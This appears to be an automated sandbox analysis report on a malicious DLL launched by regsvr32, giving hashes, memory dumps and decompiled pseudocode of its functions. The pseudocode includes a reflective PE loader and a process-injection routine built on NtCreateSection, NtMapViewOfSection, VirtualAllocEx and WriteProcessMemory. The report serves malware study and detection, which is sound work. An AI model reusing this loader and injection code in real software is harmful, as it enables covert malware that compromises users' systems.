Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModulelstrcpyn
String ID:
API String ID: 3430401031-0
Opcode ID: 0ecba472f7cd77837919a5a75ddafcc680c3bab977fa535d86fd7eda91012242
Instruction ID: bc4c865e47421248607223982e2f5013f62af85b682d0ce1f7135f59961a5b13
Opcode Fuzzy Hash: 0ecba472f7cd77837919a5a75ddafcc680c3bab977fa535d86fd7eda91012242
Instruction Fuzzy Hash: 35E1D331694301AFE710DF66CC45BAA73F9AB85718F24092EF154DBAC0DB74D904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE72B24, Relevance: 6.2, APIs: 4, Instructions: 219
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6CE72B24(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				signed int* _v20;
				intOrPtr _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				intOrPtr* _v40;
				signed short* _v44;
				intOrPtr _v48;
				unsigned int _v52;
				intOrPtr _v56;
				_Unknown_base(*)()* _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				unsigned int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _t149;
				void* _t189;
				signed int _t194;
				signed int _t196;
				intOrPtr _t236;

				_v72 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v24 = _v72;
				_t236 = _a4 -  *((intOrPtr*)(_v24 + 0x34));
				_v56 = _t236;
				if(_t236 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v24 + 0xbadc25)) == 0) {
						L35:
						_v68 =  *((intOrPtr*)(_v24 + 0x28)) + _a4;
						while(0 != 0) {
						}
						if(_a12 != 0) {
							 *_a12 = _v68;
						}
						 *((intOrPtr*)(_v24 + 0x34)) = _a4;
						return _v68(_a4, 1, _a8);
					}
					_v84 = 0x80000000;
					_t149 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v24 + (_t149 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v20 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v20 =  *_v16 + _a4;
							}
							_v64 = _v64 & 0x00000000;
							while( *_v20 != 0) {
								if(( *_v20 & _v84) == 0) {
									_v88 =  *_v20 + _a4;
									_v60 = GetProcAddress(_v36, _v88 + 2);
								} else {
									_v60 = GetProcAddress(_v36,  *_v20 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v20 = _v60;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v64) = _v60;
								}
								_v20 =  &(_v20[1]);
								_v64 = _v64 + 4;
							}
							_v16 = _v16 + 0x14;
							continue;
						} else {
							_t189 = 0xfffffffd;
							return _t189;
						}
					}
					goto L35;
				}
				_t194 = 8;
				_v44 = _a4 +  *((intOrPtr*)(_v24 + 0x78 + _t194 * 5));
				_t196 = 8;
				_v48 =  *((intOrPtr*)(_v24 + 0x7c + _t196 * 5));
				while(0 != 0) {
				}
				while(_v48 > 0) {
					_v28 = _v44[2];
					_v48 = _v48 - _v28;
					_v28 = _v28 - 8;
					_v28 = _v28 >> 1;
					_v32 =  &(_v44[4]);
					_v80 = _a4 +  *_v44;
					_v52 = _v28;
					while(1) {
						_v76 = _v52;
						_v52 = _v52 - 1;
						if(_v76 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v40 = (_v12 & 0x0000ffff) + _v80;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v40 =  *_v40 + _v56;
							}
						} else {
							 *_v40 =  *_v40 + _v56;
						}
						_v32 =  &(_v32[1]);
					}
					_v44 = _v32;
				}
				goto L13;
			}

0x6ce72b33
0x6ce72b39
0x6ce72b42
0x6ce72b45
0x6ce72b48
0x00000000
0x6ce72c39
0x6ce72c3d
0x6ce72c3f
0x6ce72c4d
0x6ce72d6b
0x6ce72d74
0x6ce72d77
0x6ce72d7b
0x6ce72d81
0x6ce72d89
0x6ce72d89
0x6ce72d91
0x00000000
0x6ce72d9c
0x6ce72c53
0x6ce72c5c
0x6ce72c6a
0x6ce72c6d
0x6ce72c8a
0x6ce72c91
0x6ce72ca3
0x6ce72ca3
0x6ce72caa
0x6ce72cba
0x6ce72cd2
0x6ce72cbc
0x6ce72cc4
0x6ce72cc4
0x6ce72cd5
0x6ce72cd9
0x6ce72ce9
0x6ce72d0c
0x6ce72d1e
0x6ce72ceb
0x6ce72cff
0x6ce72cff
0x6ce72d28
0x6ce72d44
0x6ce72d2a
0x6ce72d39
0x6ce72d39
0x6ce72d4c
0x6ce72d55
0x6ce72d55
0x6ce72d63
0x00000000
0x6ce72cac
0x6ce72cae
0x00000000
0x6ce72cae
0x6ce72caa
0x00000000
0x6ce72c6d
0x6ce72b50
0x6ce72b5e
0x6ce72b63
0x6ce72b6e
0x6ce72b71
0x6ce72b75
0x6ce72b77
0x6ce72b87
0x6ce72b90
0x6ce72b99
0x6ce72ba1
0x6ce72baa
0x6ce72bb5
0x6ce72bbb
0x6ce72bbe
0x6ce72bc1
0x6ce72bc8
0x6ce72bcf
0x00000000
0x00000000
0x6ce72bda
0x6ce72be8
0x6ce72bf3
0x6ce72bfd
0x6ce72c15
0x6ce72c22
0x6ce72c22
0x6ce72bff
0x6ce72c0a
0x6ce72c0a
0x6ce72c29
0x6ce72c29
0x6ce72c31
0x6ce72c31
0x00000000

APIs

GetModuleHandleA.KERNEL32(?), ref: 6CE72C84
LoadLibraryA.KERNEL32(?), ref: 6CE72C9D
GetProcAddress.KERNEL32(00000000,890CC483), ref: 6CE72CF9
GetProcAddress.KERNEL32(00000000,?), ref: 6CE72D18

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: 8d731b53987d2600c94af459695b44774b498de9f1ba22187ca8910efeb97911
Instruction ID: 0fda906da24489465217104b56304fc3238e4a37549e14115f61f353ddceabf8
Opcode Fuzzy Hash: 8d731b53987d2600c94af459695b44774b498de9f1ba22187ca8910efeb97911
Instruction Fuzzy Hash: 45A18C75A00219DFDB10CF98C984AADBBF0FF19318F248559E825EB751D734AA81CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE61B16, Relevance: 6.1, APIs: 4, Instructions: 97
threadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6CE61B16(void* __eflags, void* __fp0) {
				char _v24;
				char _v28;
				void* _t12;
				intOrPtr _t14;
				void* _t15;
				intOrPtr _t16;
				void* _t17;
				void* _t19;
				void* _t20;
				char _t24;
				intOrPtr _t26;
				intOrPtr _t28;
				intOrPtr _t33;
				intOrPtr _t38;
				intOrPtr _t40;
				void* _t41;
				intOrPtr _t46;
				void* _t48;
				intOrPtr _t51;
				void* _t61;
				void* _t71;

				_t71 = __fp0;
				_t38 =  *0x6ce7e6f4; // 0x0
				_t12 = E6CE6A501(_t38, 0);
				while(_t12 < 0) {
					E6CE697ED( &_v28);
					_t40 =  *0x6ce7e700; // 0x0
					_t14 =  *0x6ce7e704; // 0x0
					_t41 = _t40 + 0x3840;
					asm("adc eax, ebx");
					__eflags = _t14 - _v24;
					if(__eflags > 0) {
						L13:
						_t15 = 0;
					} else {
						if(__eflags < 0) {
							L4:
							_t16 =  *0x6ce7e684; // 0x65faa0
							_t17 =  *((intOrPtr*)(_t16 + 0xc8))( *0x6ce7e6ec, 0);
							__eflags = _t17;
							if(_t17 == 0) {
								break;
							} else {
								_t33 =  *0x6ce7e684; // 0x65faa0
								 *((intOrPtr*)(_t33 + 0xb4))(0x1388);
								_t51 =  *0x6ce7e6f4; // 0x0
								__eflags = 0;
								_t12 = E6CE6A501(_t51, 0);
								continue;
							}
						} else {
							__eflags = _t41 - _v28;
							if(_t41 >= _v28) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
					L12:
					return _t15;
				}
				E6CE697ED(0x6ce7e700);
				_t19 = GetCurrentProcess();
				_t20 = GetCurrentThread();
				DuplicateHandle(GetCurrentProcess(), _t20, _t19, 0x6ce7e6ec, 0, 0, 2);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t24 =  *0x6ce7e6e8; // 0x0
				_v28 = _t24;
				_t61 = E6CE61A01( &_v28, E6CE61310, _t71);
				if(_t61 >= 0) {
					_push(0);
					_push( *0x6ce7e760);
					_t48 = 0x27;
					E6CE69ED1(_t48);
				}
				if(_v24 != 0) {
					E6CE66871( &_v24);
				}
				_t26 =  *0x6ce7e684; // 0x65faa0
				 *((intOrPtr*)(_t26 + 0x30))( *0x6ce7e6ec);
				_t28 =  *0x6ce7e758; // 0x0
				 *0x6ce7e6ec = 0;
				_t29 =  !=  ? 1 : _t28;
				_t46 =  *0x6ce7e6f4; // 0x0
				 *0x6ce7e758 =  !=  ? 1 : _t28;
				E6CE6A51D(_t46);
				_t15 = _t61;
				goto L12;
			}

0x6ce61b16
0x6ce61b1c
0x6ce61b2a
0x6ce61b98
0x6ce61b37
0x6ce61b3c
0x6ce61b42
0x6ce61b47
0x6ce61b4d
0x6ce61b4f
0x6ce61b53
0x6ce61c4d
0x6ce61c4d
0x6ce61b59
0x6ce61b59
0x6ce61b65
0x6ce61b65
0x6ce61b71
0x6ce61b77
0x6ce61b79
0x00000000
0x6ce61b7b
0x6ce61b7b
0x6ce61b85
0x6ce61b8b
0x6ce61b91
0x6ce61b93
0x00000000
0x6ce61b93
0x6ce61b5b
0x6ce61b5b
0x6ce61b5f
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce61b5f
0x6ce61b59
0x6ce61c46
0x6ce61c4c
0x6ce61c4c
0x6ce61ba1
0x6ce61bb5
0x6ce61bb8
0x6ce61bc2
0x6ce61bce
0x6ce61bd8
0x6ce61bd9
0x6ce61bda
0x6ce61bdb
0x6ce61be0
0x6ce61be9
0x6ce61bed
0x6ce61bef
0x6ce61bf0
0x6ce61bf8
0x6ce61bf9
0x6ce61bff
0x6ce61c04
0x6ce61c0a
0x6ce61c0a
0x6ce61c0f
0x6ce61c1a
0x6ce61c1d
0x6ce61c25
0x6ce61c31
0x6ce61c34
0x6ce61c3a
0x6ce61c3f
0x6ce61c44
0x00000000

APIs

GetCurrentProcess.KERNEL32(6CE7E6EC,00000000,00000000,00000002), ref: 6CE61BB5
GetCurrentThread.KERNEL32(00000000), ref: 6CE61BB8
GetCurrentProcess.KERNEL32(00000000), ref: 6CE61BBF
DuplicateHandle.KERNEL32 ref: 6CE61BC2

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: Current$Process$DuplicateHandleThread
String ID:
API String ID: 3566409357-0
Opcode ID: a3f4b260b5b821dc82205628a5d039ecdbb5d03db09d41c0173ae6bcc198dacf
Instruction ID: e1bb58743515f1dc26cffea9b652c9d027af7d5ee89be4810a8d97d0a1561363
Opcode Fuzzy Hash: a3f4b260b5b821dc82205628a5d039ecdbb5d03db09d41c0173ae6bcc198dacf
Instruction Fuzzy Hash: 4D318071754B219FDB0ADFB5C8889AA77B4FB56359B20082DF51187E50DB30DC04CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6AD86, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E6CE6AD86(intOrPtr* __ecx, void* __edx, char _a4) {
				char _v8;
				char _v12;
				char _v16;
				char _v32;
				char* _v92;
				void _v100;
				intOrPtr* _t21;
				intOrPtr* _t22;
				intOrPtr* _t25;
				int _t27;
				intOrPtr _t28;
				intOrPtr _t38;
				intOrPtr _t47;
				int _t58;
				int _t60;

				_t21 =  *0x6ce7e680; // 0x0
				_t22 =  *_t21;
				_t60 = 0;
				if(_t22 != 0) {
					_t1 =  &_v12; // 0x6ce64965
					_push( *__ecx);
					if( *_t22() != 0) {
						_v8 = 0;
						_t25 = E6CE6B9DA(1,  &_v8);
						_v16 = _t25;
						if(_t25 != 0) {
							_push(__edx);
							_push( *_t25);
							_t28 =  *0x6ce7e68c; // 0x65fc68
							if( *((intOrPtr*)(_t28 + 0x68))() != 0) {
								_v8 = 0;
								asm("stosd");
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_t58 = 0x44;
								memset( &_v100, 0, _t58);
								_v100 = _t58;
								_v92 =  &_v8;
								_push( &_v32);
								_push( &_v100);
								_t38 =  *0x6ce7e684; // 0x65faa0
								_push(0);
								_push(0);
								_push(0x4000000);
								_push(0);
								_push(0);
								_push(0);
								_t15 =  &_a4; // 0x6ce64965
								_push( *_t15);
								_push(0);
								_push(_v12);
								if( *((intOrPtr*)(_t38 + 0x50))() != 0) {
									_t60 = 1;
								}
							}
							E6CE685FB( &_v16, 0);
						}
						_t47 =  *0x6ce7e684; // 0x65faa0
						_t19 =  &_v12; // 0x6ce64965
						 *((intOrPtr*)(_t47 + 0x30))( *_t19);
						_t27 = _t60;
						L10:
						return _t27;
					}
					GetLastError();
				}
				_t27 = 0;
				goto L10;
			}

0x6ce6ad89
0x6ce6ad91
0x6ce6ad97
0x6ce6ad9e
0x6ce6ada7
0x6ce6adab
0x6ce6adb1
0x6ce6adc3
0x6ce6adc8
0x6ce6adcd
0x6ce6add3
0x6ce6add5
0x6ce6add6
0x6ce6add8
0x6ce6ade2
0x6ce6ade9
0x6ce6aded
0x6ce6adf0
0x6ce6adf1
0x6ce6adf2
0x6ce6adf6
0x6ce6adfa
0x6ce6ae02
0x6ce6ae08
0x6ce6ae0e
0x6ce6ae12
0x6ce6ae13
0x6ce6ae18
0x6ce6ae19
0x6ce6ae1a
0x6ce6ae1f
0x6ce6ae20
0x6ce6ae21
0x6ce6ae22
0x6ce6ae22
0x6ce6ae25
0x6ce6ae26
0x6ce6ae2e
0x6ce6ae32
0x6ce6ae32
0x6ce6ae2e
0x6ce6ae38
0x6ce6ae3e
0x6ce6ae3f
0x6ce6ae45
0x6ce6ae48
0x6ce6ae4b
0x6ce6ae4d
0x6ce6ae51
0x6ce6ae51
0x6ce6adb3
0x6ce6adb3
0x6ce6ada0
0x00000000

APIs

GetLastError.KERNEL32 ref: 6CE6ADB3

Part of subcall function 6CE6B9DA: GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6CE60000,00000000,00000000,?,6CE6BA79,?,00000000,?,6CE6D0EA), ref: 6CE6B9F5
Part of subcall function 6CE6B9DA: GetLastError.KERNEL32(?,6CE6BA79,?,00000000,?,6CE6D0EA), ref: 6CE6B9FC

memset.MSVCRT ref: 6CE6ADFA

Strings

eIl, xrefs: 6CE6ADA7, 6CE6ADBB, 6CE6AE45, 6CE6ADAA
eIl, xrefs: 6CE6AE22

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$InformationTokenmemset
String ID: eIl$eIl
API String ID: 898169725-660872158
Opcode ID: f9cb898bc6cc8b73f1d00e4ca7aecc548a49c39dc6209c155d37ac209c3146f7
Instruction ID: 66b6758669dc2cb9342dcdc666fbdddc88cdf561cc58cf97d822aa35bba087fe
Opcode Fuzzy Hash: f9cb898bc6cc8b73f1d00e4ca7aecc548a49c39dc6209c155d37ac209c3146f7
Instruction Fuzzy Hash: D421FD76A50619BFAB01DAE9CC84DEEB7BDEB89248B104069E501D7610D7309D45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE62ADD, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
stringCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6CE62ADD() {
				intOrPtr _v8;
				signed int _v12;
				CHAR* _v16;
				signed int _t16;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t26;
				void* _t29;
				signed int _t31;
				intOrPtr _t36;
				CHAR* _t38;
				intOrPtr _t39;
				void* _t40;

				_t15 =  *0x6ce7e710 * 0x64;
				_t39 = 0;
				_v12 =  *0x6ce7e710 * 0x64;
				_t16 = E6CE685E5(_t15);
				_t38 = _t16;
				_v16 = _t38;
				if(_t38 != 0) {
					_t31 =  *0x6ce7e710; // 0x0
					_t36 = 0;
					_v8 = 0;
					if(_t31 == 0) {
						L9:
						_push(_t38);
						E6CE69F13(0xe);
						E6CE685FB( &_v16, _t39);
						return 0;
					}
					_t29 = 0;
					do {
						_t21 =  *0x6ce7e714; // 0x0
						if( *((intOrPtr*)(_t29 + _t21)) != 0) {
							if(_t39 != 0) {
								lstrcatA(_t38, "|");
								_t39 = _t39 + 1;
							}
							_t22 =  *0x6ce7e714; // 0x0
							_push( *((intOrPtr*)(_t29 + _t22 + 0x10)));
							_push( *((intOrPtr*)(_t29 + _t22 + 8)));
							_t26 = E6CE695E2( &(_t38[_t39]), _v12 - _t39, "%u;%u;%u",  *((intOrPtr*)(_t29 + _t22)));
							_t31 =  *0x6ce7e710; // 0x0
							_t40 = _t40 + 0x18;
							_t36 = _v8;
							_t39 = _t39 + _t26;
						}
						_t36 = _t36 + 1;
						_t29 = _t29 + 0x20;
						_v8 = _t36;
					} while (_t36 < _t31);
					goto L9;
				}
				return _t16 | 0xffffffff;
			}

0x6ce62ae3
0x6ce62aed
0x6ce62af0
0x6ce62af3
0x6ce62af8
0x6ce62afa
0x6ce62b00
0x6ce62b0a
0x6ce62b10
0x6ce62b12
0x6ce62b17
0x6ce62b74
0x6ce62b7a
0x6ce62b7e
0x6ce62b89
0x00000000
0x6ce62b90
0x6ce62b19
0x6ce62b1b
0x6ce62b1b
0x6ce62b24
0x6ce62b28
0x6ce62b30
0x6ce62b36
0x6ce62b36
0x6ce62b37
0x6ce62b3c
0x6ce62b40
0x6ce62b56
0x6ce62b5b
0x6ce62b61
0x6ce62b64
0x6ce62b67
0x6ce62b67
0x6ce62b69
0x6ce62b6a
0x6ce62b6d
0x6ce62b70
0x00000000
0x6ce62b1b
0x00000000

APIs

Part of subcall function 6CE685E5: HeapAlloc.KERNEL32(00000008,?,?,6CE68F65,00000100,?,6CE65FAC), ref: 6CE685F3

lstrcatA.KERNEL32(00000000,6CE7B99C,1Wl,-00000020,00000000,?,00000000,?,?,?,?,?,?,?,6CE65731), ref: 6CE62B30

Strings

%u;%u;%u, xrefs: 6CE62B4C
1Wl, xrefs: 6CE62AEC

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeaplstrcat
String ID: %u;%u;%u$1Wl
API String ID: 1792520475-2052698177
Opcode ID: db7f074fa78081abc2c8450fc89a5abb96be475f81cf45a39db584feb131c1d1
Instruction ID: 93bf7e524b6184b310ac54ecfe8104782063fc95b42770a29c0fc0ade0b139c8
Opcode Fuzzy Hash: db7f074fa78081abc2c8450fc89a5abb96be475f81cf45a39db584feb131c1d1
Instruction Fuzzy Hash: B411DA32A40711AFDB15CFBACCC8E9A7BB5FB86318B304959D411D7A40D7349901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6825A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6CE6825A() {
				short* _v8;
				char* _v12;
				short* _t8;
				int _t20;
				short* _t22;
				char* _t27;
				int _t30;

				_push(_t22);
				_push(_t22);
				_t8 = _t22;
				_t30 = 0;
				_v8 = _t8;
				if(_t8 != 0) {
					_t20 = WideCharToMultiByte(0xfde9, 0, _t8, 0xffffffff, 0, 0, 0, 0);
					if(_t20 > 0) {
						_t2 = _t20 + 1; // 0x1
						_t27 = E6CE685E5(_t2);
						_v12 = _t27;
						if(_t27 != 0) {
							if(WideCharToMultiByte(0xfde9, 0, _v8, 0xffffffff, _t27, _t20, 0, 0) > 0) {
								_v12 = _t27;
								_t30 = E6CE701B7(_t27);
								_t7 =  &_v12; // 0x6ce679e0
								E6CE685FB(_t7, _t20);
							} else {
								_t5 =  &_v12; // 0x6ce679e0
								E6CE685FB(_t5, 0);
							}
						}
					}
				}
				return _t30;
			}

0x6ce6825d
0x6ce6825e
0x6ce6825f
0x6ce68262
0x6ce68264
0x6ce68269
0x6ce6827f
0x6ce68283
0x6ce68285
0x6ce6828f
0x6ce68291
0x6ce68297
0x6ce682b0
0x6ce682c1
0x6ce682c9
0x6ce682cb
0x6ce682d0
0x6ce682b2
0x6ce682b2
0x6ce682b7
0x6ce682bd
0x6ce682b0
0x6ce682d8
0x6ce682d9
0x6ce682de

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,0065F960,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,0065F960,0065F960,?,6CE679E0,00000000), ref: 6CE68279

Part of subcall function 6CE685E5: HeapAlloc.KERNEL32(00000008,?,?,6CE68F65,00000100,?,6CE65FAC), ref: 6CE685F3

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,6CE679E0,00000000), ref: 6CE682A8

Part of subcall function 6CE685FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6CE68641

Strings

yl, xrefs: 6CE682CB, 6CE682B2, 6CE682B6, 6CE682CF

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharHeapMultiWide$AllocFree
String ID: yl
API String ID: 3690260804-3993518141
Opcode ID: e7d520d20936ec19e53a82efd5e84088321e27b1dadaaa3c71423b15dc00c3be
Instruction ID: ad8cf2f6f0bf2f944f7b6373a77a20bddcdfdb35d07e1373700c87a2562602e9
Opcode Fuzzy Hash: e7d520d20936ec19e53a82efd5e84088321e27b1dadaaa3c71423b15dc00c3be
Instruction Fuzzy Hash: 810196766516257A9B309AAB4C48CDB7EBCDF476B8730022BB514E2B80EA70C904C7B1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exe PID: 2280 Parent PID: 840 regsvr32.exeCOMMON

Executed Functions

Function 6BB4C702, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 200
nativeregistrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6BB4C702(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				long _v28;
				void* _v32;
				intOrPtr _v36;
				long _v40;
				void* _v44;
				char _v56;
				char _v72;
				struct _WNDCLASSEXA _v120;
				void* _t69;
				intOrPtr _t75;
				struct HWND__* _t106;
				intOrPtr* _t113;
				struct _EXCEPTION_RECORD _t116;
				void* _t126;
				void* _t131;
				intOrPtr _t134;
				void* _t140;
				void* _t141;

				_t69 =  *0x6bb5e688; // 0x2a40590
				_t126 = __ecx;
				_t134 = __edx;
				_t116 = 0;
				_v36 = __edx;
				_v16 = 0;
				_v44 = 0;
				_v40 = 0;
				_v12 = 0;
				_v8 = 0;
				_v24 = 0;
				_v20 = __ecx;
				if(( *(_t69 + 0x1898) & 0x00000040) != 0) {
					E6BB4E280(0x1f4);
					_t116 = 0;
				}
				_t113 =  *((intOrPtr*)(_t134 + 0x3c)) + _t134;
				_v28 = _t116;
				if( *_t113 != 0x4550) {
					L12:
					if(_v8 != 0) {
						_t75 =  *0x6bb5e780; // 0x2abfbc8
						 *((intOrPtr*)(_t75 + 0x10))(_t126, _v8);
						_v8 = _v8 & 0x00000000;
					}
					L14:
					if(_v12 != 0) {
						NtUnmapViewOfSection(GetCurrentProcess(), _v12);
					}
					if(_v16 != 0) {
						NtClose(_v16);
					}
					return _v8;
				}
				_v44 =  *((intOrPtr*)(_t113 + 0x50));
				if(NtCreateSection( &_v16, 0xe, _t116,  &_v44, 0x40, 0x8000000, _t116) < 0) {
					goto L12;
				}
				_v120.style = 0xb;
				_v120.cbSize = 0x30;
				_v120.lpszClassName =  &_v56;
				asm("movsd");
				_v120.lpfnWndProc = DefWindowProcA;
				asm("movsd");
				asm("movsd");
				asm("movsb");
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_v120.cbWndExtra = 0;
				_v120.lpszMenuName = 0;
				_v120.cbClsExtra = 0;
				_v120.hInstance = 0;
				if(RegisterClassExA( &_v120) != 0) {
					_t106 = CreateWindowExA(0,  &_v56,  &_v72, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, 0, 0, 0, 0); // executed
					if(_t106 != 0) {
						DestroyWindow(_t106); // executed
						UnregisterClassA( &_v56, 0);
					}
				}
				if(NtMapViewOfSection(_v16, GetCurrentProcess(),  &_v12, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0) {
					_t126 = _v20;
					goto L12;
				} else {
					_t126 = _v20;
					if(NtMapViewOfSection(_v16, _t126,  &_v8, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0) {
						goto L12;
					}
					_t140 = E6BB4864A( *0x6bb5e688, 0x1ac4);
					_v32 = _t140;
					if(_t140 == 0) {
						goto L12;
					}
					 *((intOrPtr*)(_t140 + 0x224)) = _v8;
					_t131 = VirtualAllocEx(_t126, 0, 0x1ac4, 0x1000, 4);
					WriteProcessMemory(_v20, _t131, _t140, 0x1ac4,  &_v28);
					E6BB485FB( &_v32, 0x1ac4);
					_t141 =  *0x6bb5e688; // 0x2a40590
					 *0x6bb5e688 = _t131;
					E6BB486C2(_v12, _v36,  *((intOrPtr*)(_t113 + 0x50)));
					E6BB4C681(_v12, _v8, _v36);
					 *0x6bb5e688 = _t141;
					goto L14;
				}
			}

0x6bb4c708
0x6bb4c70f
0x6bb4c711
0x6bb4c713
0x6bb4c715
0x6bb4c718
0x6bb4c71b
0x6bb4c71e
0x6bb4c721
0x6bb4c724
0x6bb4c727
0x6bb4c731
0x6bb4c734
0x6bb4c73b
0x6bb4c740
0x6bb4c740
0x6bb4c746
0x6bb4c748
0x6bb4c751
0x6bb4c8f7
0x6bb4c8fb
0x6bb4c900
0x6bb4c906
0x6bb4c909
0x6bb4c909
0x6bb4c90d
0x6bb4c912
0x6bb4c924
0x6bb4c924
0x6bb4c92d
0x6bb4c937
0x6bb4c937
0x6bb4c93e
0x6bb4c93e
0x6bb4c760
0x6bb4c77a
0x00000000
0x00000000
0x6bb4c785
0x6bb4c78f
0x6bb4c799
0x6bb4c79c
0x6bb4c7a2
0x6bb4c7a9
0x6bb4c7aa
0x6bb4c7ab
0x6bb4c7b4
0x6bb4c7b5
0x6bb4c7b6
0x6bb4c7b8
0x6bb4c7bb
0x6bb4c7be
0x6bb4c7c1
0x6bb4c7c4
0x6bb4c7d0
0x6bb4c7f2
0x6bb4c7fa
0x6bb4c7fd
0x6bb4c808
0x6bb4c808
0x6bb4c7fa
0x6bb4c833
0x6bb4c8f4
0x00000000
0x6bb4c839
0x6bb4c845
0x6bb4c85a
0x00000000
0x00000000
0x6bb4c870
0x6bb4c872
0x6bb4c879
0x00000000
0x00000000
0x6bb4c88a
0x6bb4c8a1
0x6bb4c8b1
0x6bb4c8bd
0x6bb4c8c2
0x6bb4c8c8
0x6bb4c8d8
0x6bb4c8e4
0x6bb4c8ec
0x00000000
0x6bb4c8ec

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,6BB45CCD), ref: 6BB4C775
RegisterClassExA.USER32 ref: 6BB4C7C7
